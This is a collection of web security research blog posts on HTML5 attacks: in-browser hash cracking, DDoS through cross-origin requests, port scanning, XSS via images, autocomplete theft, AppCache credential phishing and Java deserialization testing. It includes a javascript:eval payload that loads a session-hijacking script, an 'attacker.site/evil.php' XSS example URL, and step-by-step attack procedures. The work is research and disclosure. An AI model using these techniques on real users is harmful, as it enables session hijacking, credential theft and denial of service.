Cracking hashes in the JavaScript cloud with Ravan

Password cracking and JavaScript are very rarely mentioned in the same sentence. JavaScript is a bad choice for the job due to two primary reasons - it cannot run continuously for long periods without freezing the browser and it is way slower than native code.

HTML5 takes care of the first problem with WebWorkers, now any website can start a background JavaScript thread that can run continuously without causing stability issues for the browser. That is one hurdle passed.

The second issue of speed is becoming less relevant with each passing day as the speed of JavaScript engines is increasing at a greater rate than the increase of system speed. It might surprise most people how fast JavaScript actually is, 100,000 MD5 hashes/sec on a i5 machine (Opera). Thats the best number I could get from my system, in most cases it would vary between 50,000 - 100,000 MD5 hashes/sec. This is still about 100-115 times slower than native code on the same machine but that's alright. What JavaScript lacks in outright speed can be more than made up for by its ability to distribute.

It is trivial to get someone to execute your JavaScript in their browsers, just get them to visit a link and you have remote code execution of the JavaScript kind, they don't have to download or install any applications on their system or have any special privileges. It is ridiculously easy to distribute computation with JavaScript. And with about 110 browsers pointed to your site you have already achieved the speed of native code on one machine. With 1100 browser that is equivalent to 10 machines cracking passwords in native code.

To demonstrate this I have built Ravan a JavaScript Distributed Computing System that can crack MD5, SHA1, SHA256, SHA512 hashes. Details on how it works and how to use it are available here. It was released at BlackHat Abu Dhabi last month and has already had over 700 hash submissions. Both the cracking of the hashes and management of the distribution process is done in JavaScript.

The commercial cloud might have made cracking hashes super cheap but the JavaScript cloud has made it free.

Performing DDoS attacks with HTML5 Cross Origin Requests & WebWorkers

Update: Shellex has performed detailed performance analysis of this technique.

DDoS attacks are the rage this year, atleast in the latter part of the year. There have been numerous instances of successful DDoS attacks just in the past few months. Some of the current DoS/DDoS options seem to be LOIC, HTTP POST DoS and Jester's unreleased XerXes.

This post is about a DDoS technique I spoke about at BlackHat Abu Dhabi that uses two HTML5 features - WebWorkers and Cross Origin Requests. It is a very simple yet effective technique - start a WebWorker that would fire multiple Cross Origin Requests at the target. This is possible since Cross Origin Requests that use the GET method can be sent to any website, the restriction is only on reading the response which is anyway not of interest in this case. Sending a cross domain GET request is nothing new, you can even do that by embedding a remote URL in the IMG or the SCRIPT tag but the interesting part here is performance. My tests on Safari and Chrome showed that both the browsers were able to send more than 10,000 Cross Origin Requests in one minute.

So simply by getting someone to visit a URL you can get them to send 10,000 HTTP requests/minute to a target of your choice. Now if you pick a juicy target URL, one that would make the server do some heavy processing then just 10,000 requests/minute might overwhelm it. Lets scale this a little, say 60 people visit the URL containing the DoS JavaScript, that is 10,000 requests/second at the target. With just 6000 visitors to this URL we can send around 1 million requests/second to the target. Getting 6000 Chrome and Safari users to visit a particular URL is no big deal really.

Maybe its not that simple, there are few things to consider here. When you send the first request to a particular page and the response does not contain the 'Access-Control-Allow-Origin' header with a suitable value then the browser refuses to send more requests to the same URL. This however can be easily bypassed by making every request unique by adding a dummy query-string parameter with changing values. The number of requests/minute is also a variable. The browser sends a certain number of requests and when it receives the responses for those it sends in the next set of requests and so on. So as the server slows down the browser's requests/minute rating would also slow down. The figure 10,000 requests/minute was clocked against a server located in the internal network, against a target in the Internet it would realistically be between 3000-4000 requests/minute. If the attacker is planning to target an internal server by getting the employees of that company to visit this malicious URL then the 10,000 requests/minute rating would apply.

I am not going to release any PoC as this might probably be a bad time to do that but it shouldn't be very difficult to put together something for testing once you understand how it works. It should be relatively easy to block this attack at the WAF since all Cross Origin Requests contain the 'Origin' header, that way you can differentiate between legitimate and malicious requests.

Port Scanning with HTML5 and JS-Recon

This was one of the newer topics that I covered at BlackHat Abu Dhabi. HTML5 has two APIs for making cross domain calls - Cross Origin Requests and WebSockets. By using them JavaScript can make connections to any IP and to any port(apart from blocked ports), making them ideal candidates for port scanning.

Both the APIs have the 'readyState' property that indicates the status of the connection at a given time. The time duration for which a specific readyState value lasts has been found to vary based on the status of the target port to which the connection is being made. This means that by observing this difference in behavior we can determine if the port being connected to is open, closed or filtered. For Cross Origin Requests it is the duration of readyState 1 and for WebSockets it is readyState 0.

I tried to do some calibration of the time duration for the different port states and the data is below. These numbers only hold good when the target is in the internal network. If you are scanning a target on the internet then the network latency should be taken in to account.

Since this is not a socket-level but an application-level scan the success also depends on the nature of the application running on the target ports. When a request is sent to certain type of applications they read the request and remain silent keeping the socket open, probably expecting more input or input in the format they expect. If the target is running such a application then its status cannot be determined.

Since even closed ports can be identified we can extend this technique to perform network scanning as well as internal IP detection. I have written a tool called JS-Recon which can perform these. More details on the how JS-Recon works is here. These techniques only work when run from Windows machines, on *nix systems it is not possible to determine closed ports and the timing figures are quite different.

RSnake, Web Security and a few beers

BlackHat Abu Dhabi 2010 is special to me for many reasons, chief amongst them is that I got to meet one of my most favorite hackers - RSnake. When I started taking my baby steps in web security, like most people at that time, I started off by reading the excellent content available on OWASP combined with some heavy use of Google. Around this time I think it was Manish that introduced me to ha.ckers.org, am so glad that he did, it almost immediately became an addiction. Back then I only understood parts of what was written on ha.ckers.org, sometimes an entire post would be beyond my grasp but I still enjoyed reading them. It was not just a blog it was an event, an event where RSnake and his loyal band of commenters had a gala time. There are many instances where I had read a few Wikipedia articles and docs to understand a topic just so that I could know what RSnake and the commenters were laughing about.

I did not have to follow the RSS feeds of a few dozen blogs instead I only checked ha.ckers.org on a regular basis. If there was some interesting news in the web security world then it would be talked about at ha.ckers.org along with RSnake's opinion on how significant it is and how it impacts things, served with a pinch of humor. This was in addition to RSnakes's own bag of tricks which always had something clever. ha.ckers.org was an excellent learning medium and has probably helped and inspired countless folks like me across the world. Its is extremely hard to discuss an advanced topic without making a novice reader feel alienated and bored. Also it is equally hard to discuss a technically simple yet important topic without making the smart ones cringe. Somehow ha.ckers.org managed to do both very well, a feat that is very hard to match.

Coming from a part of the world where you almost never get to meet most of the famous hackers in person, in our heads RSnake usually has a larger than life image, he is more like a WebAppSec folk hero. So meeting him personally was really special. As a person he is very friendly, chilled out and did not seem to mind the fact that I am relatively a n00b :D. We spoke for quite a long time, heard a lot of interesting stories related to ha.ckers.org, his book and more. Though he didn't seem to like my choice of beer, meeting him has only increased my respect for him. He is one of the key figures who has shaped the web security industry and an inspiration for many.

This is an excerpt from a recent interview of his:

..if you love security, don't let the people at the top of the security industry dictate the terms by which you do your research, disclose your vulnerabilities, or do your job.You have a ton of potential, and life is too short.My Father used to tell me that if you love what you're doing you'll never work another day in your life.To paraphrase him - if you aren't having fun in security, you're doing something wrong.Put a smile on your face, and go do what makes you happy!

This probably says more about him than I can in a few dozen posts. As he shuts down ha.ckers.org to go on a different journey I would like to wish him success on behalf of all his followers from India. Good luck RSnake!

HTML5 goodness at BlackHat Abu Dhabi this week

Just three more days to go for my 'Attacking with HTML5' talk at BlackHat Abu Dhabi. In addition to covering some of the interesting HTML5 attacks already released during 2010 by myself and other researchers, it has two new sections - HTML5 based port scanning and HTML5 Botnets. I would be talking about a new way to perform JavaScript based port scans that gives very accurate results. How accurate? you can determine if the remote port is open/closed/filtered - that accurate. I am also going to release a tool called JSRecon that would perform port and network scans by using these techniques. Under HTML5 botnets I am going to talk about how you could send spam mails, perform a DDoS attack on a website and perform distributed cracking of hashes at incredible speeds - all using JavaScript. I am also going to release Ravan - a web based tool to perform distributed cracking of hashes in a legitimate way. I am pretty happy with the way Ravan has shaped up and am very excited to see how folks react to it. Initial reactions have been good. The whole point of the talk is that I am NOT bypassing any of the restrictions placed by the browser sandbox but instead am working well inside those restrictions - its just that the sandbox has got a whole lot looser :)

The tools and details would be online next week when I am back from Abu Dhabi. Stay tuned!

Re-visiting JAVA De-serialization: It can't get any simpler than this !!

Well it's been a while since I have blogged. Been quite busy with work lately. Also I guess Lava is better at blogging stuff so I'll leave that to him :)

After my talk at BH EU earlier this year, there has been quite a lot of other really cool stuff been published on penetration testing of JAVA Thick/Smart clients. Check out Javasnoop especially. It has some pretty good features you would like to use. Many people that I spoke to recently said to me that modifying objects programatically using the IRB shell in DSer would be difficult and it would require the penetration tester to have indepth knowledge of the application's source code. Well; in the first place, penetration testing is a skill and it does require hard work, so understanding the application's internals is part and parcel of the job. But that being said DSer allows you to play around with JAVA objects using an interactive shell with some helper methods and is completely extensible. It was meant to be a template, to add your own stuff and extend it's capabilities.

In this post I will show you a technique which will alow us to extend DSer and simplify the processing of modifying JAVA Objects. Before we start I would like to thank my colleague Chilik Tamir for introducing me to the XStream library and helping with this idea. XStream is a library to serialize JAVA objects to XML and back. Now getting back to the topic. Let's assume that we have a complex object that we encounter in our request or response packet as follows:

HashMap = { key1 = String[], key2 = HashMap }

I have chosen internally available JAVA objects for simplicity, but they can be any custom objects you like. Now modifying this in via HEX bytes would be a difficult task as we will see later. For demostration purposes, i'll make use of the following app:

Fig. 1: Demo app to generate complex JAVA objects

This application will use the inputs we supply in the 3 text fields and create a HashMap similar to the one showed above when the "Both" button is pressed and send it to the backend server for processing. Once we capture this request in Burp, it would give an output similar to this:

Fig. 2: Request showing raw serialized data captured in Burp

Which will be de-serialized and rendered in the DSer shell as follows:

{ keyTwo = [Ljava.lang.String;@70ac2b, 

  keyOne = { hmKey1=Manish,

             hmKey3=Andlabs,

             hmKey2=Saindane

           }

}

We can see that the HashMap has 2 keys (ie. keyOne and keyTwo) with values as a String Array and a HashMap. Now I have added a few custom functions to DSer that will make use of the XStream library and convert the above mentioned JAVA serialized object to XML, save it as a temp file and open it in any XML editor of your choice for further editing. The resulting XML will look as follows:

Fig. 3: XML generated from the JAVA serialized object

Notice how nicely XStream has rendered the XML from the given JAVA object. We can clearly see the <string-array> and the <map> elements (highlighted above) with the individual entries. We can edit the entries and modify it as we want. Let's modify the XML as follows:

Fig. 4: XML after modification

We have removed the "Andlabs" entry from the String Array and added two extra entries (ie. "Lavakumar" and "Kuppan"). Also the "hmKey3" entry has been removed from the inner HashMap (highlighted above). Now as soon as we save this XML and close the editor, the code in DSer will convert this XML back to a JAVA object which will look similar to this:

{ keyTwo = [Ljava.lang.String;@9568c, 

  keyOne = { hmKey1=Manish,,

             hmKey2=Saindane

           }

}

The custom functions will then take care of serializing this object, editing the "Content-Length" header and preparing a new "message" to be sent to the application server. You can observe the modified data in Burp from the history tab.

Fig. 5: Edited request as shown in the Burp

So using this technique, modification of the JAVA objects becomes trivial and anyone with no prior knowledge of programming can edit the objects (as long as he/she knows  how to edit text or XML ;)). The screenshot shows the modified data being successfully passed to the server and rendered back to the output.

Fig 6: Modified data processed by the application

DSer is not just restricted to JAVA serialized objects, but (almost) any binary protocol that you can think of. So do not restrict your thinking and be creative. In this post I just showed you how you can extend DSer's capabilities and simplify the process of editing JAVA objects. You can do the same with any other protocol. All you need is some basic understanding of how the protocol works.

I'll add the the above mentioned custom methods to DSer and release it soon. Just need to clean up the code and make a few changes here and there. If anyone need's to try it out in the mean time, just ping me and I'll give you the source code. So until next time, Happy hacking !!

XSSing client-side dynamic HTML includes by hiding HTML inside images and more

Matt Austin made a brilliant discovery sometime back and wrote a detailed post of his hack, you absolutely must read it. Basically it is a problem with sites that use Ajax to fetch pages mentioned in the URL after # and then include them in the innerHTML in a DIV element, he picks 'touch.facebook.com' as an example.

Quoting from his post:

If you click on any URL you see the links don't actually change the page but loads them with ajax. http://touch.facebook.com/#profile.php actually loads http://touch.facebook.com/profile.php into a div on the page.

The problem here is that the XMLHttpRequest object can make Cross Origin calls thanks to HTML5. So if a victim clicks on a link like 'http://touch.facebook.com/#http://attacker.site/evil.php' then 'http://attacker.site/evil.php' is fetched and is included in the innerHTML of the page leading to XSS. Clever find!

The very first paragarph of his post however made me very uncomfortable:

HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.

Call me an HTML5 fanboy but I believe the spec designers have taken security very seriously based on the discussions I have seen while lurking on their mailings lists. So such a blatant allegation was hard for me to digest and I was secretly hoping that this design was vulnerable even without taking in to account the Cross Origin Request feature of HTML5.

And it turns out it is actually vulnerable even with plain old HTML4. The problem here is that the application fetches any page which is provided after the # and includes this in the innerHTML of a DIV element. So what this means is that every single file on that site - (CSS|JS|JPG|...|log) is now treated as HTML.

How is this a problem? Lets say the site lets users upload their profile pictures and stores these under the same domain name (FaceBook however uses a different domain name for storing static content). Normally this cannot lead to XSS because the img is only called from the <img> tag which parses and renders it as a image. However under the design being discussed, the same image file can be rendered as HTML. When a victim clicks on a link like 'http://vulnsite.com/#profile_334616.jpg' then 'profile_334616.jpg' is fetched and the 'responseText' is added to the innerHTML property.

It is possible to hide HTML inside images without any visual differences. The HTML can come after the End of Image marker (0xFF D9) or right before that and still the images looks the same. It can also be added in the comment section but some sites might remove the comments section from the images to save storage space. When the content of this image is render as HTML the binary section of the image is considered as text and displayed normally and the HTML section is parsed and rendered by Chrome, Safari and Firefox. Opera and IE however stop parsing after reading a few bytes of the binary content. I tried moving the HTML to the beginning of the image right after the Start of Image marker inside a comment section but still they refused to render it.

Check out this simple POC to see this in action.

Apart from images any user uploaded file could now potentially turn in to HTML under this design. Even if the site does not have any file upload features, an attacker could indirectly upload his images through social engineering. News and media websites routinely include images provided to them from external sources and an attacker could slip in his HTML poisoned image which might eventually end up on the site. Though a little far fetched something like this is not entirely impossible. Any compression technique used by the server on the images would however mangle the HTML.

Another way by which an attacker can get his data on the server is through server logs. If the log file contains all the User-Agent strings in unencoded format then an attacker could include HTML in his request's UA field and poison the server log. An administrator who has access to these logs can be sent a link like http://admin.vulnsite.com/#August2010.log and clicking on it would eventually lead to the rendering of that HTML.

Though there could be other scenario's I think you get the general idea. So coming back to the design itself, it was vulnerable to begin with and HTML5's Cross Origin Request made it incredibly easier to exploit.

Even with all these counter-arguments eventually I have to agree with Matt. Cross Origin Request was one feature where HTML5 did actually get it wrong because they gave additional capability to the same API with absolutely no extra code requirements. So the same code now could do things that the developers never anticipated. Its like suddenly one random morning you hit on your car's accelerator and then find out that now it is also wired to NOS, don't think you would like that surprise.

IE on the other hand had done the right thing with XDomainRequest which is a new API and not a simple extension of XHR. Probably the XMLHttpRequest object must get a new property which should be explicitly set to enable COR.

Eg:

var xhr = new XMLHttpRequest();

xhr.cor = true;

xhr.open("http://external.site/");

A simple extension like this could prevent existing code from becoming vulnerable while giving the same familiar XHR API to developers for COR.

Stealing entire Auto-Complete data in Google Chrome

Couple of weeks back Jeremiah Grossman posted details of his Safari Auto-Complete hack along with a really cool POC. To me the most interesting aspect of the POC is how it populates the text box with JavaScript, simulating the victim’s keystrokes.

I ran the POC in Google Chrome and as each character was entered in to the Input box, there was a list of auto-complete suggestions that popped-up. The amount of information that was in those lists was scary. Jeremiah’s POC was not designed to capture the information in the auto-complete suggestion lists, it was only looking for values that got populated in to the textbox.

I initially though it must be relatively easy to capture the information in these lists by simulating a down arrow keypress and then an enter keypress to populate the textbox. But that approach didn’t work because the list that pops up is not part of the DOM, so JavaScript has absolutely no control over this list. Infact moving the mouse over this list or pressing the arrow keys to move through the list of suggestions does not even trigger the Mousemove / KeyDown events.

After playing around for sometime I figured out one way to extract the information from the auto-complete suggestion list. This technique is not entirely automated but it only requires minimal user interaction. The user only has to press the enter key periodically and the rest is done with JavaScript. And to Social Engineer the user to press the enter key, I have written a simple game where the user is randomly shown either a white or a black box and asked to press enter when the black box is shown and do nothing when the white box is shown. The end result is actually pretty convincing.

This is how it works:

1. User is asked to place his mouse pointer in one section of the page. By following the mouse movement we know exactly where the pointer this is located.
2. We create an input element of very small width (3px) and position it just a little above where the mouse pointer rests.
3. Now using the same method used by Jeremiah a character is entered in to the input box.
4. When the auto-complete suggestion list pops up, the first entry in the list is now right under the mouse pointer and is highlighted automatically.
5. When the user hits enter (he thinks he is playing a game) this entry is populated in to the input box and is read by JavaScript.
6. Now the Input box is moved a little upwards and step 3 is repeated and this time the mouse pointer is over the second entry in the suggestion list and it is highlighted.

Step 3-6 are repeated till all values are read.

As you can see the only interaction from the user is hitting the enter key periodically. Chrome allows a maximum of 6 auto-complete suggestions per character and if the user plays the game for a couple of minutes the entire auto-complete suggestion data can be stolen by the attacker.

The POC works best in Google Chrome running on Windows. Because in this set-up an Input element of 3px width has an auto-complete suggestion list also of 3px width, it only looks like a thin white strip. And with a cleverly selected background this 3px strip is camouflaged and becomes practically invisible as done in the POC.

In Google Chrome running on Linux (thanks to Mario for verifying this) the width of the auto-complete box is not affected by the width of the input element, so even if the input element is of 3px the pop-up list is of its normal width. It’s the same story with Firefox even on Windows. If the list is of its normal width then it cannot be hidden from the user, CSS overlay techniques don’t work, and the attack becomes very obvious for the victim to see.

Another factor that makes this attack possible is that when the pop-up list appears, the ‘mousemove’ event is triggered automatically and so the entry under the mouse pointer gets selected without the user having to move the mouse. I am not sure if this is a Google Chrome specific behavior or is common to all browsers, haven’t tested that yet.

The POC is available here and there is also a video if you would like to see the attack in action.

Shell of the Future – Reverse Web Shell Handler for XSS Exploitation

If you claim that "XSS is not a big deal" that means you never owned something by using it and that's your problem not XSS's

-Ferruh Mavituna, Author of XSS Shell, XSS Tunnel and NetSparker

Cross-site Scripting is an interesting vulnerability. It is relatively easier to discover in a Penetration test but demonstrating its impact has always been tricky. So tricky in fact that it has pushed one of the most creative groups of people in IT (Penetration testers) in to using the most boring and misleading POC possible. Yes, you guessed it right, the ubiquitous JavaScript alert() box. To break the monotonousness testers sometimes change the message being displayed but that’s as far as it usually goes. It also has the nasty side effect of developers blocking the word ‘alert’ in their code while ‘eval’ is let through.

In pentests XSS is usually considered as a dead-end vulnerability - you discover it, take a screenshot and move on to something else. It cannot be exploited and used as a stepping stone to another attack because exploiting it would require attacking a user and that is something Penetration testers aren’t allowed to do, the contract 9 out of 10 times only lets us attack the server or the application. That however does not stop the attackers from going so far as to taking over entire servers using a simple XSS in the real world.

The real impact of XSS is that an attacker can do anything that the user can do with his session. Today I am releasing a tool that would let you demonstrate this very impact with the same effort involved as showing the alert box. Ladies and Gentlemen, I give you - Shell of the Future.

Shell of the Future is a Reverse Web Shell handler. It’s the browser equivalent of a reverse command shell, instead of a command prompt from which you type in commands, you get to browse the victim’s HTTP/HTTPS session from your browser. Even though the site is being browsed from the pentester’s browser all the pages are fetched by the victim’s browser. This is done by tunneling HTTP over HTTP using HTML5 Cross Origin Requests. The hijacked session also displays a hovering banner over it which can be heavily customized, making it the perfect POC for your pentest report.

So how does it work? very simple. Shell of the Future has both a proxy server and a web server. The pentester has to set his browser to use Shell of the Future’s proxy server, start the tool and go to http://127.0.0.1/sotf.console from his browser. This shows the web interface from which the victim’s sessions can be hijacked.

Before hijacking a session we need to inject our JavaScript exploit in to the victim’s browser using XSS. Shell of the Future comes with two readymade JavaScript exploits – e1.js and e2.js.

Once injected ( Eg: ) the exploit starts talking to the Shell of the Future server and it becomes available for hijack from the console page. To hijack this session just click on the link that says ‘Hijack Session’ and this session can be browsed from the pentester’s browser.

It is that simple, no installation required, no configuration required, no additional software, it’s all set-up and ready to go at one click.

Even if the site is not vulnerable to XSS the victim’s session can still be hijacked by getting them to paste the following code in the browser’s Address Bar.

Eg:

javascript:eval("s=document.createElement('script');s.src='http://127.0.0.1/e1.js';document.getElementsByTagName('head')[0].appendChild(s)")

Shell of the Future can be downloaded from our tools section and there is also a detailed manual available.

A video demonstration of all the features is available here.

If you are interested in more details then read on.

The tool makes use of HTML5 Cross Origin Requests to tunnel HTTP traffic over HTTP. Once e1.js or e2.js are injected in to the victim’s browser they start polling Shell of the Future(SotF) through Cross Origin Requests(COR). SotF assigns a unique ID for each session and shows this in its console page. When ‘Hijack Session’ is clicked the request from the browser is sent to the SotF proxy which inturn sends it to the SotF server which further passes it on to the victim. The victim fetches the page and sends the response to the SotF server using COR which sends it to the proxy and then to the pentester’s browser.

The two e1.js and e2.js are very similar but e2.js has an extra trick to make the attack more practical. You can only browse the victim’s session for as long as the injected JavaScript is active in the victim’s browser. Sometimes this could be a problem. Let’s say the site with XSS cannot be placed in an iframe then the victim must be directly on the site where the injection is happening. Now the lifetime of the injected scripted is extremely limited because the moment the victim clicks on any links and browses to another page in the site, the script dies. To counteract this, e2.js adds an invisible link to the page and this link is placed exactly under the mouse and follows the mouse moments. When the victim clicks on any part of the page he is actually clicking the invisible link and this link opens the same site in a new tab which also becomes the active tab. Now the victim would happily browse the site in the new tab while the injected script is live in the other tab. The transition to the new tab is pretty smooth so most users would never suspect anything.

If you would want still more details then check the detailed documentation.

I got this idea when reading about HTML5 Cross Origin Requests and thought it was new concept so started this project as a POC. But when I spoke to Manish about it a little latter, he burst my bubble and told me that XSS Tunnel already did something similar. Infact XSS Proxy and XSS Tunnel both did something similar and that too back when there was no COR!! * bows to both Anton Rager and Ferruh Mavituna and thanks Manish for saving me from embarrassment once again *

So I stopped working on it for sometime and then started again with a different approach. Rather than making it a POC for my idea which turned out to be a well known technique, I have made Shell of the Future as a tool specifically to make POCs for XSS and JS Injection vulnerabilities. Both the victim and the attacker can be on the same system just different browsers, Chrome and FireFox are ideal candidates. It works on IE and Safari as well but their aggressive caching can sometime serve stale content. Opera however does not support CORs yet and hence this doesn't work there.

The goal was to make a tool that would accurately demonstrate the severity of XSS with literally the same effort involved as getting the infamous alert box to pop up and I think it has been achieved it.

Also this time around I am providing the source code of the tool as well. It’s not the most elegantly written piece of code but hey, it works!

Chrome and Safari users open to stealth HTML5 AppCache attack

Google Chrome, Safari, Firefox and Opera(Beta) have implemented the HTML5 Offline Application Cache feature. Using this feature a website can have greater control over the caching process to enable Offline access of websites.

When a website is trying to create an Offline Application Cache, Firefox and Opera ask for user permission and only after the user permitting, the site is able to create this cache. With Google Chrome and Safari this step is skipped, any website can create an Application Cache without the user even knowing about it.

The thing with caches is that they can be poisoned very easily the moment you connect to an unsecured network, like open Wi-Fi. By poisoning a cached JavaScript file of Facebook or Twitter an attacker can eventually take control of your account. But with normal cache, HTTP content can be easily poisoned, but it is difficult to poison a page that is only served over HTTPS. So none of Gmail’s files can be poisoned, they are all over HTTPS.

Now enter HTML5 Application Cache. Unlike a traditional cache, with Application Cache any file can be cached. For example, the root file ‘/’ of a site can be cached. Let’s say an application cache is created for ‘/’ of www.facebook.com. Then every time the user types in www.facebook.com in their browser this cached page would be fetched. If this was done with normal cache then when the user requests this page the browser would send a request to the server for this resource and only if the server responds with a 304 Not Modified response, would the cache be served. But for '/’ all sites would respond back with a 200 OK with the index page’s content and that is what would be loaded and not the cache

The point is that with Application Cache, root files can be cached, this cannot be done with a normal cache. An attacker could then create a malicious cache for the index page of every HTTP site as soon as the victim connects to an unsecured WiFi. For example for Facebook, if the index page is controlled by the attacker then he can capture the username and password of the victim. Facebook being a HTTP site (post authentication) can anyway be compromised by poisoning the normal cache. But Gmail?

Almost all users open Gmail by typing in gmail.com in the address bar and this means its http://gmail.com (remember SSLstrip??). The server responds to this with a redirect to http://mail.google.com/mail/. And when requested for http://mail.google.com/mail/ the server responds with https://www.google.com/accounts/ServiceLogin?service=mail&blahblah... There are two HTTP requests before the server redirects the user to an HTTPS page. Either of those can be cached using Application Cache, http://gmail.com/ or http://mail.google.com/mail/.

This is how the entire attack works:

Step1: The victim connects to an unsecured network controlled by the attacker.

Step2: The victim browses to any random website, even opening the browser would do as it would send a request for the home page.

Step3: The attacker responds to this request with a page which contains an hidden iframe pointing to http://mail.google.com/mail/ .

Step4: The victim’s browser sends a request for http://mail.google.com/mail/.

Step5: The attacker responds to this with his own copy of the Gmail login page that would look exactly like the actual login page but would include a backdoor to steal the victim’s credentials when entered. This page also includes the manifest attribute in the HTML element so that the page is cached.

Step6: Victim goes back to secured network (home/office) and types in gmail.com, gets redirected by Google server to http://mail.google.com/mail/

Step7: The browser would load the fake login page.

Step8: User enters his Gmail credentials in to it, the credentials are sent over to the attacker.

By poisoning or creating a malicious Application Cache, the victim’s credentials to all HTTPS-only websites can be stolen by an attacker.

I have made a POC for this attack using Imposter. The POC comes with a config file loaded with the payloads for Facebook and Gmail. The cached pages would load fake login pages from www.andlabs.org through an iframe. Once the victim enters his username and password these are stored locally in the victim’s browser in the LocalStorage of www.andlabs.org and the credentials are passed on to the parent frame using HTML5 PostMessage API. The parent frame logs the user in using these credentials. The entered credentials can be viewed by visiting, http://www.andlabs.org/hacks/viewcreds.html. The credentials are not sent to the AnD Labs server so it’s safe to try out the POC.

There is a video of the entire attack using the POC here. POC can be downloaded here.

One point of interest is the Manifest file. Everytime a cached file is requested for, the browser would request the server for the Manifest file and if the server responds with a 404 then the cache would be removed. Picking an existing file on the server as the Manifest file would solve this issue as the server would return a 200. This would not result in a update of the cache because the server would not include “text/cache-manifest” in the Content-Type header. Even without this the cache would be served the first time but would be removed after that, using this technique can keep the cached file alive till it is deleted by the user.

Coming back to Chrome and Safari, when I first realized that they were not prompting for user permission I thought it was a serious oversight. I even contacted both the security teams, however they didn’t consider this to be a security issue. But on closer look their stance made sense, it is because they treat Application Cache the same way as normal cache. When you delete cache in these browsers all Application Cache is also deleted. But in Firefox they are handled separately. Deleting normal cache does not delete Application Cache, it has to be deleted explicitly. It is difficult to say which approach is better but the idea of user permission prompt is more reassuring to me. Till then browsing in private/incognito mode should keep user’s safe.

Update:
Chris Evans pointed out on FD that root resources can been cached even by using the normal cache mechanism, so using Application Cache for that reason alone might not gives an edge to the attacker.
However, using Application Cache does have a major advantage over normal cache.
When a root resource is cached using normal cache, it is removed the moment the user hits refresh on that page, but Application Cache stays. This can give an attacker continued access to the victim's browser until the user explicitly clears the cache. In Firefox this has to be done explicitly for Offline Website data.

HTML5 Security Articles and Live Demos

HTML5 is increasingly getting more attention from the developer community as it brings features that most developers would have never used before. Client-side storage with Web SQL Database, Offline Storage, Cross Origin Requests, Offline Application Cache, Cross Origin Messaging are some of these features that are going to have developers drooling over the next few years at the thought of all the cool things they could do.

With all these new possibilities we are going to have many new types of vulnerabilities and attacks. Security has been a prime consideration in the design of the HTML5 spec , for instance the design of the Web SQL Database API naturally encourages Prepared Statements and it is actually a little harder to introduce SQL Injection vulnerabilities. However implementation mistakes are going to be many and it would be interesting to study them. To help developers avoid more obvious mistakes when implementing these features I have written two detailed articles explaining what could go wrong and how it can be avoided. These articles are on the Web SQL Database and the Cross Origin Request features. Some of the points mentioned might look very obvious but I have personally in my experience doing Penetration tests seen much more obvious mistakes with very serious consequences.

The two articles are:

1. Web SQL Database Security - http://code.google.com/p/html5security/wiki/WebSQLDatabaseSecurity
2. Cross Origin Request Security - http://code.google.com/p/html5security/wiki/CrossOriginRequestSecurity

My original idea was to write about them in a series of blog posts but I was in luck because at around the same time Mario announced his HTML5 Security CheatSheet project. And when contacted he liked my idea and was nice enough to add me to his project. So now it is in the form of a Wiki page which is great because it can be updated constantly based on feedback/ideas from readers and findings of other researchers.

There is also a HTML5 Security Quick Reference Guide along with Live Demos of secure and insecure implementation of some features at http://www.andlabs.org/html5.html

All comments/suggestions/feedback are welcome.

Attacking JAVA Serialized Communication: BH EU 2010

JAVA Object Serialization has been in use in many applications for a long time now. I find many enterprise applications that make use of JAVA Object Serialization to transfer objects from the client to sever and vice-versa. Testing such applications is a pain as it is not as straight forward as normal web applications that make use of simple parameter and value in HTTP POST data.

Some applications g-zip the serialized data before transferring it. Most common protocol for such applications is HTTP and RMI. There aren’t many easy techniques available today to test such applications and even if they do, they have certain shortcomings. At BlackHat EU this year, I discussed a technique that could be used to test such applications using currently available tools.

For testing web applications, the best tool available by far is Burp Proxy. It is one of my preferred tools to perform security assessments. You can refer to the whitepaper and the slides for details of the talk. In this blog post I will discuss the setup and a short introduction of how to carry out such assessments. The pre-requisites for using this technique are:

• Burp Proxy v.1.2.x
• JRuby v.1.4.x
• Buby v. 1.8.x
• Editor of your choice to edit the JRuby code
• Some knowledge of JAVA Object Serialization

First make sure that the usual 'JAVA_HOME' and 'PATH' environment variables are set for JAVA and JRuby. Once you have JAVA and JRuby setup properly, install the Buby gem. The details for installing Buby are given on its help page. Just make sure to copy the 'burp.jar' file in the JRuby load path. You can find the JRuby load path as follows in the IRB shell:

[IRB]>> $:

You can download the code that I released at BlackHat for the demo from here. It is a plug-in template that does three things:

• Injects an (J)IRB shell in the Burp Proxy
• Provides a method that de-serializes the JAVA Object stream (this can be modified to suit your needs e.g un-zip stream before de-serializing, etc.)
• Provides helper methods that use JAVA Reflection to access private variables and other useful methods

All the client-side jars should be placed in the lib folder provided by the plug-in. The plug-in will automatically import all the jars contained in this directory on startup. For the purpose of demonstration we would use a simple scenario where the JAVA serialized object is passed in a POST data of a HTTP request from the client to the server and vice-versa as shown in the figure below.

Once this sort of data is intercepted by Burp; our plug-in steps into action. Burp passes the entire message (headers + POST data) as a JAVA byte array to the plug-in which then splits the message into header and data and tries to de-serialize the JAVA Object. Once the JAVA Object is read, the plug-in spawns a (J)IRB shell exposing a variable obj which contains the JAVA Object. Now the pentester has the option of playing around with a complete development environment using the shell and editing the object at will. Once you are done modifying the object, you can use the helper methods to pack the object and create a new message (JAVA byte array) and return it to Burp to pass it to the application server.

For a more detailed demonstration watch the video

Stroke triggered XSS and StrokeJacking

A few days back I got a link to the RubyHero website, it lets you nominate a person of your choice for the Ruby Hero award. I wanted to nominate Manish because he is doing some pretty cool stuff with Ruby and also always ferociously defends Ruby in our Perl vs Ruby arguments. So there I was, on their homepage typing in the Attack and Defense Labs URL in to the input box. But as I typed it in, the URL started showing up inside the ‘Nominate’ button. Since it looked like a candidate for XSS I entered ‘<h1>’ and sure enough it was rendered by the browser, tried the script tag and got an alert command to execute.

None of this is even remotely amusing but what is interesting is how this XSS vulnerability can be exploited. The payload in this case can neither be injected through any URL or POST parameter like a reflected or stored XSS nor be injected through any DOM object before the page loads like discussed in popular references of DOM based XSS attacks. It can only be injected by the victim himself by typing out every single character of the payload!!

